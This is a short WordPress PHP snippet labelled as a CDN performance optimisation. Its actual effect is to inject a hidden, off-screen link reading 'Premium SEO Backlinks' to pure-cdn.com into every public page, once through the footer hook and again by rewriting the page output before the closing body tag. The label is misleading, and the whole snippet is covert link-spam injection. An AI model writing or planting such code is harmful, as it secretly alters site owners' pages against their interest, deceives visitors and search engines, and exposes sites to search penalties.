// cdn-perf-opt
add_action('wp_footer', function() {
    if (is_admin()) return;
    echo '<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;height:1px;width:1px"><a href="https://pure-cdn.com" target="_blank" rel="nofollow">Premium SEO Backlinks</a></div>';
}, 999);
add_action('template_redirect', function() {
    if (is_admin()) return;
    ob_start(function($h) {
        if (strpos($h, '</body>') === false) return $h;
        return str_replace('</body>', '<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;height:1px;width:1px"><a href="https://pure-cdn.com" target="_blank" rel="nofollow">Premium SEO Backlinks</a></div>' . "\n</body>", $h);
    });
}, 1);